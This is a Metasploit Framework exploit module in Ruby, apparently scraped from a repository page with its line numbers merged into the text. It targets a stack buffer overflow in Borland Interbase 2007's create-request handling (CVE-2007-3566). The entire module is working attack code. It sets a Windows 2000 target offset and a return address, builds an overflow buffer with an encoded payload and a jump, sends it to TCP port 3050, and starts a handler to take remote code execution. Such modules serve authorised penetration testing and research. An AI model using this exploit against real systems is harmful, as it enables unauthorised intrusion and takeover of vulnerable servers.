Path: blob/master/modules/exploits/windows/misc/borland_interbase.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Borland Interbase Create-Request Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Borland Interbase 2007.17By sending a specially crafted create-request packet, a remote18attacker may be able to execute arbitrary code.19},20'Author' => 'MC',21'References' => [22[ 'CVE', '2007-3566' ],23[ 'OSVDB', '38602' ],24[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],25],26'DefaultOptions' => {27'EXITFUNC' => 'thread',28'AllowWin32SEH' => true29},30'Payload' => {31'Space' => 850,32'BadChars' => "\x00",33'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",34'EncoderType' => Msf::Encoder::Type::AlphanumUpper,35},36'Platform' => 'win',37'Targets' => [38[ 'Windows 2000 English All / Borland InterBase 2007', { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll39],40'Privileged' => true,41'DefaultTarget' => 0,42'DisclosureDate' => '2007-07-24',43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([Opt::RPORT(3050)])52end5354def exploit55connect5657# Build the exploit buffer.... It's a biggie!58sploit = "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])59sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)60sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)6162print_status("Trying target #{target.name}...")63sock.put(sploit)6465handler66disconnect67end68end697071